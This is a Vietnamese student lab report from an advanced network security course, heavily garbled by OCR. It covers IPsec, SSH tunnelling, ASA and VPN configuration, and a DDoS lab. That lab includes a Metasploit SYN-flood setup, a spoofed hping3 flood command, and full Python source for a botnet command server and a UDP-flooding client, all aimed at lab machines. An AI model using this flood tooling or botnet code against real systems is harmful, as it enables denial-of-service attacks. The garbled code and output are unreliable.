KHOA CÔNG NGHỆ THÔNG TIN 000 BÁO CÁO THỰC HÀNH Mơn: An tồn mạng nâng cao Giảng viên hướng dẫn Đàm Minh Lịnh Sinh viên thực Nguyễn Thị Ánh Nguyệt Mã sơ sinh viên N18DCAT054 Lớp D18CQAT02-N Khóa 2018 Hệ Đại học quy TPHCM Tháng 2, 2022 Mục lục LAB : THIẾT LẬP IPSEC CONNECTION DÙNG OPENSWAN Mục đích .8 Chuẩn bị .8 Thực Bước 1: Download openswan giải nén cài đặt Bước 2: Sinh khóa RSA máy 11 Bước 3:Lấy leftrsasigkey máy cục 11 Bước 4: Lấy rightrsasigkey máy từ xa 11 Bước 5: hiệu chỉnh file /etc/ipsec.còn máy 11 Bước 6: Định nghĩa gateway 12 Bước : Khởi động lại openswan máy .13 Bước : Khởi động lại kết nối máy 13 Bước : Sử dụng wireshark để kiểm tra .14 LAB : THỰC HIỆN AN TOÀN CHO MỘT KẾT NỐI QUẢN TRỊ TỪ XA nguyet Aa1234567814 I Chuẩn bị: 14 II Thực 14 Bước 1: Cài đặt MySQL server 14 Bước 2: Khởi động dịch vụ mysql server 14 Bước 3: Đăng nhập vào mysql server .14 Bước 4: Tạo user, tự đặt username password 15 Bước 5: Tạo sở liệu có tên saigondb 15 Bước 6: Thiết lập quyền truy xuất cho user tạo 15 Bước 7: Xem sở liệu lệnh show databases 15 Bước 8: Đăng xuất khỏi mysql mở telnet service 16 Bước 9: Dùng máy thật người quản trị cấu hình kết nối Putty đến MySQL server , cần xác định địa IP củ máy chạy MySQL 16 Bước 10: Mở wireshark để tiến hành bắt gói tin 17 Bước 11: Thực đăng nhập từ xa vào Linux server tiến hành đăng nhập vào sở liệu username 18 Bước 12: Phân tích gói tin bắt 18 III Remote Access dung SSH 18 Bước 1: Mở putty cấu hình tùy chọn SSH thực lại kết nối đăngnhập bước 11 18 Bước 2: Cài đặt openSSH server máy chạy server 20 Bước 3: Cấu hình file /etc/ssh/sshd_config 20 Bước 4: Khởi động lại ssh 20 Bước 5: Thực kết nối từ máy Ubuntu đến máy chạy sshserver cài đặt 20 Bước 7: Thực ssh @ -p53 21 Bước 7: Cấu hình forwarding port port 3307 53 21 Bước 8: Thực nc 3307 máy người quản trị 22 Bước 9: Cấu hình port forwarding để kết nối mysql server qua ssh 22 Bước 10: Hủy forwarding bước thực lại bước 23 Bước 11 : Thực hiên nc localhost 3307 .23 Bước 12: Trên máy người quản trị thưc port forwarding đến mysql server .24 Bước 13: Thực kết nối đến mysql server từ máy người quản trị 24 Bước 14: Thực đăng nhập mysql với username tạo phần tiến hành vài thao tác quản trị 24 Bước 15: Cài SSH server máy người quản trị thực remote forwarding từ mysql port 3306 đến remote port 2001 máy người quản trị 26 Bước 16: Thực kết nối từ máy người quản trị .26 Bước 17: thực hiên kết nối đến mysql server từ máy người quản trị navicat 26 LAB 3: THỰC HIỆN REVERSE TCP ĐỂ LẤY SHELL 29 Mục đích 29 Chuẩn bị công cụ 29 Bước 1: Tiến hành lấy shell câu lệnh 29 Bước 2: Chép shell vào file shell.c .30 Bước 3: Biên dịch shell.c thành shell 30 Bước 4: Thực thi shell 30 Bước 5: Mở handler netcat 30 Bước 6: Tiến hành lấy shellcode câu lệnh sau lưu vào file getshell.c 30 Bước 7: Biên dịch getshell.c thành getshell 31 Bước 8: Mở handler netcat 31 Bước 9: Chép getshell.c vào máy victim .31 Bước 10: Biên dịch thực thi getshell 32 Bước 11: Quay lại máy attack , có kết nối từ máy victim thực chép file tcp_reverse.txt lên máy victim 32 Bước 12: Quay lại máy victim có file tcp_reverse.txt 33 Tìm hiểu cách nhúng mọt getshell vào tập tin ứng dụng thực thi 34 Bước 1: Tìm source code từ git 34 Bước 2: Chép tất cá shellcode vào file clone từ git 34 Bước 3: Tiến hành thực thi máy victim .35 Bước 4: Mở handler netcat máy attack có kết nối 35 LAB : THỰC HIỆN TẤN CÔNG SOCIAL ENGINEERING THƯỜNG DÙNG TRONG APT 36 Mơ hình 36 Cài mã độc công Social Engineering 36 Bước 1: Chọn Social-Engineering Attacks Sau chọn Powershell Attack Vectors .36 Bước 2: Copy file virus ngồi desktop đổi txt thanhg bat 38 Bước 3: Trên máy victim tiến hành chạy fike virus 38 Bước 4: Trên máy attacker tiến hành lấy thông tin từ máy victim câu lệnh sessions -i 38 Demo công cách clone link giả mạo 39 Bước 1:Khởi động setoolkit để dùng công cụ Social-Engineering Attacks .40 Chọn mục Website Attack Vectors 40 Bước 2: Chọn mục Credential Havrester Attack Method 40 Bước 3: Chọn mục site cloner .40 Bước 4: Nhập địa IP máy attack .41 LAB : CONFIG ASA BACSIC 43 Yêu cầu: 43 Cấu hình thơng tin cổng FW 43 Cấu hình định tuyến .44 Cấu hình SSH FW 44 Cấu hình static NAT ACL từ bên ngồi truy cập dịch vụ Remote Desktop vùng DMZ 45 Cấu hình PAT phép người dùng từ inside truy cập internet 48 LAB 7: IPSEC VPN SITE TO SITE 49 Mô tả 50 Cấu hình 50 2.1 Cấu hình router SAIGON 50 2.2 Cấu hình router VUNGTAU 51 Kiểm tra 52 LAB TẤN CÔNG DDOS BẰNG SYNFLOOD VÀ HPING3 55 Tấn công ddos synflood 55 Bước : Kiểm tra port 445 máy nạn nhân có mở khơng .55 Bước : Tiến hành giả lập máy ảo với địa 192.168.0.1 để công máy nạn nhân với địa 192.168.36.142 „ .7 56 Bước 3: Mở wireshark theo dõi 56 Tấn công với hping 57 Tấn công ddos botnet: 59 Bước 1: Cấu hình file server.py máy server 59 Bước 2: Cấu hình file client.py máy client 62 Bước : Thực thi file server.py máy server 65 Bước 4: Thực thi file client.py máy client 65 Bước 5: Kiểm tra có kết nối máy attack 65 Bước 6: Tấn công đến máy nạn nhân 65 Bước : Mở taskmanager máy nạn nhân theo dõi 66 Bước 8: Mở wireshark máy nạn nhân theo dõi 66 Mục lục hình ảnh Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Thơng tin máy cục 2.Thông tin máy từ xa .9 3.Download openswan giải nén 4.Cài đặt openswan 10 5.Thực sinh khóa máy 10 6.Lấu leftrsasigkey máy cục .10 7.Lấy rightrsasigkey máy từ xa .11 8.File ipsec.conf máy cục 11 9.Thông tin ipsec.conf máy từ xa 11 10.Định nghĩa default getway máy cục 11 11.Định nghĩa getway máy từ xa 12 12.Khởi động lại openswan máy .12 13.Khởi động lại kết nối máy 12 14.Thơng tin gói tin bắt từ máy cục 13 15.Thơng tin gói tin bắt từ máy tư xa 13 16.Tạo user máy mysql server 14 17.Tạo sở liệu saigondb 14 18.Thiết lập quyền truy xuất cho user nguyet tạo .14 Hình 19 Xem sở liệu lệnh show 14 Hình 20 Khởi động dịch vụ telnet 15 Hình 21 Dùng máy thật tọa kết nối putty đến mysqlserver .15 Hình 22 Kết nối thành công thiwcj vài thaotác quản trị 16 Hình 23 Mở wireshark xem xét, gói tin telnet 16 Hình 24 Đăng nhập từ xa vào linux server đăng nhập vào sỏ liệu username 17 Hình 25 Mở putty tiến hành kết nối ssh port 22 18 Hình 26 Kết kết nối bị chặn 18 Hình 27 Sửa file cấu hình sshd_config 19 Hình 28 Thực kết nối đến máy chạy ssh server kết bị chặn .19 Hình 29 Thực ssh đến máy ssh server với port 53 20 Hình 30 Cấu hình forwading port 3307 53 20 Hình 31 Thực nc đến máy server 21 Hình 32 Cấu hình port forwarding để kết nối đến mysqlserver .21 Hình 33 Thực lại port forwarding 22 Hình 34 Thực nc localhost 3307 từ máy người quản trị 22 Hình 35 Thực port forwarding đến mysql server với port 53 23 Hình 36 Thơng tin gói tin bắt từ wireshark 23 Hình 37 Thực tiến hành đăng nhập vào mysql 24 Hình 38 Thực thực remote forwarding từ mysql port 3306 đến remote port 2001 máy người quản trị .25 Hình 39 Thực kết nối từ máy người quản trị 25 Hình 40 Thông tin đăng nhập vào navicat 26 Hình 41 Thực xem sở liệu navicat 27 Hình 42 Lấy shellcode câu lệnh 28 Hình 43 File shell.c 29 Hình 44 Biên dịch shell.c 29 Hình 45 Thực thi shell máy attack 29 Hình 46 Mở handler máy attack 29 Hình 47 Lấy shellcode máy attack 30 Hình 48 Biên dịch shellcode lấy 30 Hình 49 Chép shellcode lên máy victim 31 Hình 50 Biên dịch thực thi shellcode máy victim 31 Hình 51 Kiểm tra kết nối chép file lên máy victim 32 Hình 52 Kết file chép từ attack lên victim có .33 Hình 53 Source code ứng dung git 33 Hình 54 Chép shellcode vào ứng dụng clone 34 Hình 55 Tiến hành thực thi ứng dụng nhúng shellcode máy vitcim 34 Hình 56 Mở handler máy attack có kết nối 35 Hình 57 Mơ hình ASA .38 Hình 58 Thơng tin cấu hình cổng inside 38 Hình 59 Thơng tin cấu hình cổng DMZ 39 Hình 60 Thơng tin cấu hình cổng outside 39 Hình 61 Thơng tin cấu hình static route FW 39 Hình 62 Thơng tin cấu hình icmp FW .39 Hình 63 Thơng tin cấu hình SSH FW 39 Hình 64 Kết SSH vào FW ( PC 192.168.2.10) 40 Hình 65 Thơng tin cấu hình object network 40 Hình 66 Thơng tin cấu hình object Service .40 Hình 67 Thơng tin cấu hình NAT ACL cho phép truy cập outside vào DMZ 40 Hình 68 Thơng tin cổng outside 41 Hình 69 kết remote desktop vào PC 192.168.10.10 .43 Hình 70 Kết truy cập dịch vụ remote desktop từ PC vùng outside 43 Hình 71 Thơng tin cấu hình PAT cho phép inside truy cập internet .43 Hình 72 Kết truy cập internet từ PC (192.168.2.10) (inside) 44 Hình 73 Kết ping từ PC ( 192.168.2.10 inside) đến PC (192.168.10.10 DMZ) 44 Hình 74 Mơ hình thực cấu hình IPSEC VPN SITE TO SITE 45 Hình 75 Thơng tin cấu hình sách IKE router SAIGON 45 Hình 76 Thơng tin key peer router SAIGON 46 Hình 77 Thơng tin cấu hình sách IPSEC router SAIGON .46 Hình 78 Xác định luồng liệu mã hóa hay bảo vệ souter SAIGON .46 Hình 79 Cấu hình crypto map router SAIGON 46 Hình 80 Thơng tin cấu hình sách IKE router VUNGTAU .46 Hình 81 Thơng tin key peer router VUNGTAU 47 Hình 82 Thơng tin cấu hình sách IPSEC router VUNGTAU 47 Hình 83 Xác định luồng dữu liệu mã hóa hay bảo router VUNGTAU .47 Hình 84 Thơng tin cấu hình crypto map router VUNGTAU 47 Hình 85 Kết kết nối VPN 47 Hình 86 Trạng thái crypto isakmp sa .48 Hình 87 Trạng thái IPSEC sa 48 Hình 88 Số lượng kết nối 49 Hình 89 Thơng tin crypto sesion detail 49 Hình 90 Thơng tin máy nạn nhân .50 Hình 91 Trên máy cơng kiểm tra port 445 máy nạn nhân 50 Hình 92 Gói tin synlood 111 50 Hình 93 Dùng msfconsole để show options 51 Hình 94 Gói tin bắt công .51 Hình 95 Biểu đồ hoạt động cpu máy nạn nhân 52 Hình 96 Tấn cơng với câu lệnh hping3 53 Hình 97 Mở taskmanager máy nạn nhân theo dõi bểu đồ 53 Hình 98 Mở wireshark theo dõi gói tin .54 Hình 99 Thơng tin máy server 54 Hình 100 Thơng tin máy client 54 Hình 101 File server.py máy server 55 Hình 102 File client.py máy nạn nhân 58 Hình 103 Thực thi file server.py để tạo botnet 60 Hình 104 Thực thi file client.py để kết nối đến máy server 60 Hình 105 Kiểm tra kết nối máy server lệnhlist .60 Hình Hình Hình Hình 106 Tấn cơng đến máy nạn nhân 60 107 Thông tin cpu máy nạn nhân khibị công 61 108 Thông tin cpu máy nạn nhân khingừng công 61 109 Gói tin bắt bị cơng máy nạn nhân 62 LAB : THIẾT LẬP IPSEC CONNECTION DÙNG OPENSWAN Mục đích Tạo lập kênh an tồn IPsec hai máy tính sử dụng Openswan Bắt liệu để kiểm tra Chuẩn bị Tên Hệ điều hành IP User Máy cục Ubuntu 14.04 192.168.36.154 Lab1 Máy từ xa Ubuntu 14.04 192.168.35.166 Lab1server1 Hai máy Ubuntu getway, giả sử máy phía sau NAT có địa IP định tuyến qua mạng cơng cộng, khơng có firewall Sẽ cài đặt openswan ipsectools hai máy Mỗi máy cần định rõ thông tin Địa IP , tên đề getway tự nhận dạng thiết lập IPsec Tên có dạng tên miền đứng trước kí tự @ Thực Thực máy : oe® roottạubuntu:/home/lab1 labl@ubuntu:~$ sudo su [sudo] password for labl: root@ubuntu:/home/labl# lfconflg etho Link encap:Ethernet HNaddr O0:0c:29:0d:e9:6e tnet addr:192.168.36.154 Bcast:192.168.36.255 Mask:255.255.255.0 tnetó addr: fe80::20c:29ff:fe©d:e96e/64 Scope:Ltnk UP BROADCAST RUNNING MULTICAST MTU:15O0 Metrtc:l RX packets:51480 errors:0 dropped:0 overruns:0 frame:0 TX packets:27727 errors:0 dropped:0 overruns:0 carrter:© colllslons:© txqueuelen:1000 RX bytes:56962038 (56.9 MB) TX bytes:3366562 (3.3 MB) lo Link encap:Local Loopback tnet addr:127.0.0.1 Mask:255.0.0.0 tnetó addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metrlc:l RX packets:4033 errors:0 dropped:0 overruns:0 frame:O TX packets:4033 errors:0 dropped:0 overruns:0 carrler:0 colllslons:0 txqueuelen:! RX bytes:475803 (475.8 KB) TX bytes:475803 (475.8 KB) root@ubuntu:/home/labl# Hình Thơng tin máy cục root@ubuntu:/hopie/lablserverl# ifconfig etho Link encap:Ethernet HHaddr 00:0c:29:91:44:ad inet addr:192.168.36.166 Bcast:192.168.36.255 Mask:255.255.255.0 inetó addr: fe80::20c:29ff:fe91:44ad/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:! RX packets:276 errors:© dropped:0 overruns:0 frame:0 TX packets:214 errors:© dropped:© overruns:© carrier:© colli.si.ons:© txqueuelen: 1000 RX bytes:36688 (36.6 KB) TX bytes:22691 (22.6 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inetó addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:! RX packets:395 errors:© dropped:© overruns:© frame:0 TX packets:395 errors:© dropped:© overruns:© carrter:© collisions:© txqueuelen:1 RX bytes:34773 (34.7 KB) TX bytes:34773 (34.7 KB) Hình Thơng tin máy từ xa Bước 1: Download openswan giải nén cài đặt Sauk hi kết nối VPN thiết lập kiểm tra thông tin pha pha Trạng thái isakmp sa: SAIGON#show crỵpto isakmp sa IPv4 Crỵpto ISAKMP SA dst src 151.1.1.1 150.1.1.1 State QM_IDLE conn-id status 1001 ACTIVE IPv6 Crypto ISAKMP SA SAIGON#n _ Hình 96 Trạng thái crypto isakmp sa Trạng thái ipsec sa: IPv6 Crỵpto ISAKMP SA SAIGON#show crypto ipsec sa intertace: Etherneto/l Crỵpto map tag: MYMAP, local addr 150.1.1.1 protected vrf: (none) local ident (addr/mask/prot/port): (192.168.1.0/255.255.255.0/0/0) remote ident (addr/mask/prot/port): (192.168.2.0/255.255.255.0/0/0) current_peer 151.1.1.1 port 500 PERMIT, flags={origin_is_acl,} #pkts encaps: 5, #pkts encrypt: 5, #pkts digest: #pkts decaps: 5, #pkts decrỵpt: 5, #pkts verifỵ: #pkts compressed: 0, #pkts decompressed: Hình 97 Trạng thái IPSEC sa current outbound spi: 0xE2C6079E(3804628894) PES (Y/N): N, DH group: none inbound esp sas: spi: 0xBEBBFA34(3199990324) transtorm: esp-des esp-md5-hmac , in use settings ={Tunnel, } conn id: 1, flow_id: SW:1, siblingílags 80004040, crỵpto map: MYMAP sa timing: remaining key liíetime (k/sec): (4244386/3356) IV size: bytes replay detection support: Y Stãtus: ACTIVE(ACTIVẼ) outbound esp sas: spi: 0XE2C6079E(3804628894) transíorm: esp-des esp-md5-hmac , in use settings ={Tunnel, } conn id: 2, flow_id: SW:2, sibling_flags 80004040, crypto map: MYMAP sa timing: remaining key lifetime (k/sec): (4244386/3356) IV size: bytes replay detection support: Y Stãtus: ACTIVE(ACTIVE) Số lượng kết nối mở ( IKE IPSEC) SAIGON#show crypto engine connections active Crỵpto Engine Connections I 100 D Type IPsec IPsec IKE Algorithm DES+MD5 DES+MD5 MD5+DES Encryp t Ũ Decryp t 0 Hình 98 Số lượng kết nối LastSeq N 0 IPAddress 150.1.1 150.1.1 150.1.1 SAIGON#show crypto session detail Crỵpto session current status Code: c - IKE Configuration mode, D - Dead Peer Detection K - Keepalives, N - NAT-traversal, T - cTCP encapsulation X - IKE Extended Authentication, F - IKE Eragmentation Interface: EthernetO/1 Uptime: 00:08:30 Session status: UP-ACTIVE Peer: 151.1.1.1 port 500 fvrf: (none) ivrf: (none) Phasel_id: 151.1.1.1 Desc: (none) IKEvl SA: local 150.1.1.1/500 remote 151.1.1.1/500 Active Capabilities:(none) connid:1001 lifetime:23:51:29 IPSEC FLOW: permit ip 192.168.1.0/255.255.255.0 192.168.2.0/255.255.255.0 Active SAs: 2, origin: crypto ntap Inbound: #pkts dec'ed drop life (KB/Sec) 4244386/3089 Outbound: #pkts enc'ed drop life (KB/Sec) 4244386/3089 Hình 99 Thơng tin crypto sesion detail LAB TẤN CÔNG DDOS BẰNG SYNFLOOD VÀ HPING3 Tấn công ddos synflood SYN flood ( half-open attack) kiểu công từ chối dịch vụ (DDos), cơng với mục đích làm cho Server khơng có lưu lượng để truy cập hợp pháp cách tiêu thụ tất tài nguyên server có sẵn Bằng việc gửi liên tục gửi packet tin yêu cầu kết nối ban đầu (SYN) Hình 100 Thơng tin máy nạn nhân Bước : Kiểm tra port 445 máy nạn nhân có mở khơng ® /home/nguyet nmap -p 445 192.168.36.142 starting Nmap 7.92 ( https://nmap.org ) at 2022-02-26 01:53 EST Nmap scăn report íor 192.168.36.142 Host is up (0.00063S latency) PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 00:0C:29:2F:F6:56 (VMware) Nmap done: IP address (1 host up) scanned in 10.27 seconds ® /home/nguyet I Hình 101 Trên máy cơng kiểm tra port 445 máy nạn nhân 109 1 auxiiiary/aos/nttp/squia_range_aos auxiliary/dos/windows/ssh/sysax_sshd_kexchange auxiliary/dos/tcp/synflood 11 Hình 102 Gói tin synlood 111 2013-03-17 1norma1 normal normat N õ N o Bước : Tiến hành giả lập máy ảo với địa 192.168.0.1 để công máy nạn nhân với địa 192.168.36.142 msf6 > use 111 msf auxìlỉary( ) > show options Module options (auxiLỉary/dos/tcp/synflood): Name INTERFA CE NUM RHOSTS RPORT SHOST SNAPLE SPORT TIMEOU T Current Settỉng Requỉred Descriptỉon 80 no no yes yes no yes no yes The name of the interface Number of SYNs to send (else unlimỉted) The target host(s), see https://github.coin/rapid7/metasploit-frainework/wiki/Using-Metasploit The target port The spoofable source address (else randomizes) The number of bytes to capture The source port (else randomizes) The number of seconds to wait for new data 65535 500 > set RHOST192.168.36.142 msf6) auxiliary( RHOST => 192.168.36.142 > set RPORT445 msf6) auxilỉaryC RPORT =a 445 > set SHOST 192.168.0.1 msf6) auxìlỉary( SHOST =} 192.168.0.1 > set TIMEOUT 30000 msf )6 auxỉlỉary( TIMEOUT => 30000 > I msf )6 auxìlỉary( Hình 103 Dùng msfconsole để show options Mở wireshark để xem thông tin gói tin: Đầu tiên, máy cơng gửi packet tin SYN đến Server để yêu cầu kết nối Sau tiếp nhận packet SYN, Server phản hồi lại máy khách packet SYN/ACK, để xác nhận thông tin từ Client Bước 3: Mở wireshark theo dõi Cuối cùng, Client nhận packet tin SYN/ACK trả lời server packet tin ACK báo với server biết nhận packet tin SYN/ACK, kết nối thiết lập sẵn sàng trao đổi liệu Hình 104 Gói tin bắt công Mở task manager quan sát biểu đồ hoạt động Hình 105 Biểu đồ hoạt động cpu máy nạn nhân Tấn công với hping Hping3 ứng dụng đầu cuối dành cho Linux điều cho phép chúng tơi dễ dàng phân tích lắp ráp gói TCP / IP Khơng giống ping thông thường sử dụng để gửi gói ICMP, ứng dụng cho phép gửi gói TCP, UDP RAW-IP Hping3 -S 192.168.36.133 -a 192.168.36.142 -p 335 -flood ( với 192.168.36.133 ip máy cơng, 192.168.36.142 ip máy nạn nhân ) ® /home/nguyet L- hping3 -s 192.168.367133 a 192.168.36.142 135 ttooơ HPING 192.168.36.133 (eth0 192.168.36.133): s set, 40 headers + data bytes hping in ttood mode, no replies witt be shown 'é — 192.168.36.133 hping statistic — 33204153 packets transmitted, packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms ® /home/nguyet L hping3 -5 192.168.367133 -a 192.168.36.142 135 —flood HPING 192.168.36.133 (eth0 192.168.36.133): s set, 40 headers + data bytes hping in ttood mode, no replies witt be shown I Hình 106 Tấn cơng với câu lệnh hping3 Mở task manager để xem thông tin cpu máy nạn nhân Hình 107 Mở taskmanager máy nạn nhân theo dõi bểu đồ Mở wireshark theo dõi gói tin 192.168.36.142 54 135 - 35797 [RST ACK] Seq=ỉ Ack=4138344294 Win=0 Len=0 Hình 108 MởTCP wireshark theo[RST, dõiACK] gói tinAck=733523711 win=0 Len=e 192.168.36.142 TCP 54 135và 35798 Seq=l 192.168.36.142 TCP 54 135 - 35799 [RST, ACK] Seq=l Ack=885917960 Win=0 Len=0 192.168.36.142 TCP 54 135 - 35800 [RST, ACK] Seq=l Ack=2838853274 win=0 Len=0 Tấn công ddos botnet: 192.168.36.142 TCP 54 135 - 35801 [RST, ACK] Seq=l Ack=3003729400 Wín=0 Len=0 192.168.36.142 TCP 54 135 - 35802 [RST, ACK] Seq=l Ack=672633979 win=0 Len=0 Botnet mạng lưới192.168.36.142 máy tínhTCP cài phần mềm để làm cơng việc 54 135 - 35803 [RST, ACK] Seq=l Ack=4267110922 Win=0 Len=0 192.168.36.142 TCP 54 135 - 35804 [RST, ACK] Seq=l Ack=2775195647 Wín=0 Len=0 Người ta thường nói 192.168.36.142 botnet với nghĩa xấu tốt [RST, botnet hay hacker TCP 54 135 -là35805 ACK] Seq=l Ack=2930643947 win=0 Len=0mũ đen 192.168.36.142 TCP 54 135 - 35806 [RST, ACK] Seq=l Ack=772416300 Wln=0 Len=0 [RST, 135 - online 35807 ACK]đó Seq=l Ack=218746685 win=0 Len=0 sử dụng để cơng một192.168.36.142 website hay TCP dịch54 vụ 1346 32.299646018 1346 32.299654484 1346 32.299684176 1346 32.299692227 1346 32.299732950 1346 32.299741412 1346 32.299771183 1346 32.299779359 1346 32.299820086 1346 32.299828224 1346 32.299873660 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 192.168.36.133 ( Mơ hình gồm máy : máy attack , máy victim Máy attack (linux với IP 192.168.36.155) ethe: flags=4163 mtu 1500 inet 192.168.36.155 netmask 255.255.255.0 broadcast 192.168.36.255 inet6 fe80:: 20c:29ff:fecd:e6fl preíixlen 64 scopeid 0x20 ether 00:0C:29:cd:e6:f1 txqueueien 1000 (Ethernet) RX packets 1315 bytes 81897 (79.9 KiB) RX errors dropped overruns írame TX packets 1184 bytes 66420 (64.8 KiB) TX errors dropped overruns carrier collisions device interrupt 19 base 0x2000 Hình 109 Thơng tin máy server Máy client (win 2012 với IP 192.168.36.162) Hình 110 Thơng tin máy client Bước 1: Cấu hình file server.py máy server Trên máy server , ta có file sevrer.py sau: íroin threading import Thread íroin time import sleep import ctypes, Socket, sys Smport plattorm, signal írom random import choice íroi typing import Union, Tuple class Colours: def _init (self):| if platform.system() = ■Windows': kerne!32 = Ctypes.windlt.kernel32 kernel32.SetcónsoleMode(kernel32.GetStdHandle(-ll), 7) COMMANDS = { 'inío': (33, '[!] '), ■que': (34, '[?] ■), 'bad': (31, ’[-] '), ■good': (32, ■[+] ■), 'run': (97, ’[-] '), ■green': 32, 'ĩgreen': 92, 'lightgreen': 92, 'grey': 37, 'blaék': 30, 'red': 31, 'Ired': 91, 'lightred': 91, 'cyan': 36, 'lcyan': 96, 'lightcyan': 96, ■blue': 34, 'Iblue': 94, 'lightblue': 94, 'purple': 35, ■ỹeliow': 93, 'white': 97, 'Ipurple': 95, 'lightpurple': 95, 'orange': 33, ’bg': 'i7', 'bold': ■, 'italic': '3', 'under': '4', Hình 111 File server.py máy server 'under':' 4' , 'strike': '09', } for key, vai in COMMANDS.ỉtems(): value = val[0] if ỉsỉnstance(val, tuple) else val preíix = val[l] if isỉnstance(val, tuple) else '• locals()[key] = lambda s, preíix=prefix, key=value: _gen(s, preíix, key) self. _dỉct _[key] = lambda s, preíix=prefỉx, key=value: self._gen(s, prefix, key) deí _gen(self,strỉng, preíix, key): colored = preíix if preíix else strỉng not_colored = strỉng if prix (ìlse '' result = '\033[{}m{}\033[0m{}'.format(key, colored, not_colored) return result class Server(Colours): co=["green","Igreen","lightgreen","grey","red","Ired","lightred","cyan","lcyan","lightcyan","blue","Iblue", deí init (self, connect:Tuple[str,ỉnt]=("0.0.0.0",9999)): super(). _inỉt () sỉgnal.sỉgnal(sỉgnal.SIGINT, selí.exỉt_gracefully) sỉgnal.signal(sỉgnal.SIGTERM, selí.exỉt_gracefully) selí.prỉnt_logo() self.all_connectỉons = [] self.all_address = [] selí.stop = if self._bỉnd(connect): while True: self._take_cmd() def exit_gracefully(self,sỉgnum:Unỉon[str,object]="n, frame:Unỉon[str,object]=""): prỉnt("\nExiting ") selí.stop = selí.sock.close() sleep(1) sys.exỉt(0) def _bind(self, connect:Tuple[str,ỉnt]) -» bool: selí.sóck = Socket.socket(socket.AF_INET, Socket.SOCK_STREAM) selí.sock.bỉnd(connect) selí.sock.lỉsten(50) elií cmd = "update": self.check(display- ,always= ) elif cmd in ['exit',"quit"]: self exit_graceful.Xy( ) elif "attack" in cmd: íor 1, (ip, port) in enumerate(self.all_address): try: self.all_connections[i].send(cmd encode( )) print(self dict [choice(self.co)](f'[+] except BrokenPipeError: del selí.all_address[i] del self.aix_connections[i] elií cmd = "ping" or *kilV: íor i, (ip, port) in enumerate(self.all_address): try: self.all_connections[i].send(cmd.encode( )) printíselí dict [choice(self.co)](f'[+] except BrokenPipeError: del selí.all_address[i] del selí.all_connections[i] {ip}:{port} {s {ip}:{port} {s deí check(self, display:bool< , always:bool= ): while not selí.stop: c=0 íor n,tcp in zip(seEf.all_address,self.all_connections); C4 try: tcp.send(str.encode("ping")) if tcp.recv(1024).decode('utf-8") and display: print(self. dict [choice(self.co)](f'[+] {str(n[0] except: if display: printíselí. dict _[choice(self.co)](f'[+] deĩ selí.all_address[c-l] del selí.all_connections[c~l] continue if not always: break sleep(0.5) if _name _ = ' main _ Server() Bước 2: Cấu hình file client.py máy client Trên máy client ta có file client.py sau {str(n[0])+":"+st from thxeading impoxt Thxead írom tiitte impoxt time, sleep impoxt Socket, signal impoxt sys, random from typing impoxt Tuple class Client 0: xun=False def ĩnĩt (self, connect:Tuple[stx,ĩnt]=("192.168.36.155",9999)) -> None: signal.signal(sĩgnal.SIGINT, self.exit_gxacefullỵ) signal.signal(sĩgnal.SIGTERM, self.exit_gxacefullỵ) sell.stop = False sell.xun = False while not sell.stop: txy: self._connect(connect) except Keyboaxdlnteixupt: continue except Exception as e: pxĩnt(f"Exxox connectĩng {connect}I Sleep 10 seconds") sleep(10) def exit_gxacefullỵ(self,signum, fxaine) : pxint("XnExĩtĩng ") sell.stop = Txue sell.xun = False self.sock.close sleep(1) sys.exit(0) def _connect(self, connect:Tuple[stx,ĩnt]) -> None: sell.sock = Socket.Socket(Socket.AF_INET, Socket.SOCK_STREAM) self.sock.connect(connect) self.staxt() def ddos(self,*axgs): def dos(*axgs): tl=tĩnLe () host,poxt=axgs[1],axgs[2] s=socket.Socket(Socket.AF_INET, Socket.SOCK_DGRAM) bỵtes=xandom._uxandom(10240) s.connect((host, ĩnt(poxt))) while sell.xun: if not self.xun:bxeak s.sendto(bỵtes, (host,ĩnt(poxt))) Hình 112 File client.py máy nạn nhân sendto(bỵtes, (host,int(port))) 3.close print("run time {}".format(time ()-tl)) for n in range(int(args[4])): Thread(target = dos,args=[*args]).start () sleep(int(args[3])) self.run=False def _recv(self): return self.sock.recv(1024).decode("ascii").lower def start(selí): while True: data = self._recv() if "attack" in data: data=data.replace("attack ","").split() trỵ: except proto, ip, port, sec, workers = data data = proto, ip, int(port), int(sec), int(workers) self.sock.send("done".encode("ascii")) Exception as e: print(e) self.sock.send("invalĩd conưnand".encode("asciĩ")) continue self.run=Trưe Thread(target = self. _ddos,args=data).start() elif "kill" in datã: self.run=False self.sock.send(str.encode("Server Stopped")) elif "ping" in data: self.sock.send(str.encode("Pong")) else: self.sock.send(str.encode("ERROR")) if _name == ' main ' : Client Bước : Thực thi file server.py máy server Hình 113 Thực thi file server.py để tạo botnet Bước 4: Thực thi file client.py máy client Hình 114 Thực thi file client.py để kết nối đến máy server Bước 5: Kiểm tra có kết nối máy attack Hình 115 Kiểm tra kết nối máy server lệnh list Bước 6: Tấn công đến máy nạn nhân Với ip 192.168.36.162 port 10 time 80s thread 100 —»attack udp 192.168.36.162 10 80 100 [+] 192.168.36.162:49344 done Hình 116 Tấn cơng đến máy nạn nhân Bước : Mở taskmanager máy nạn nhân theo dõi Ta thấy , cpu tăng đột ngột Hình 117 Thông tin cpu máy nạn nhân bị công Khi tiến hành ngừng công, cpu giảm nhanh dần Hình 118 Thơng tin cpu máy nạn nhân ngừng công Bước 8: Mở wireshark máy nạn nhân theo dõi Ta thấy có hang lọt gói tin gửi đến máy nạn nhân 99 192.168.36.155 41.486886 192.168.36.162 100 41.4869 192.168.36.155 63 102 192.168.36.155 41.988862 103 192.168.36.162 42.092193 104 192.168.36.162 45.430114 105 192.168.36.155 45.430493 106 192.168.36.155 45.931753 107 192.168.36.162 45.931820 108 192.168.36.155 45.932216 109 192.168.36.155 46.432996 110 192.168.36.162 H I Apply a display filter 46.483226 192.168.36.162 192.168.36.155 192.168.36.162 192.168.36.162 192.168.36.155 192.168.36.155 192.168.36.162 192.168.36.162 192.168.36.155 192.168.36.162 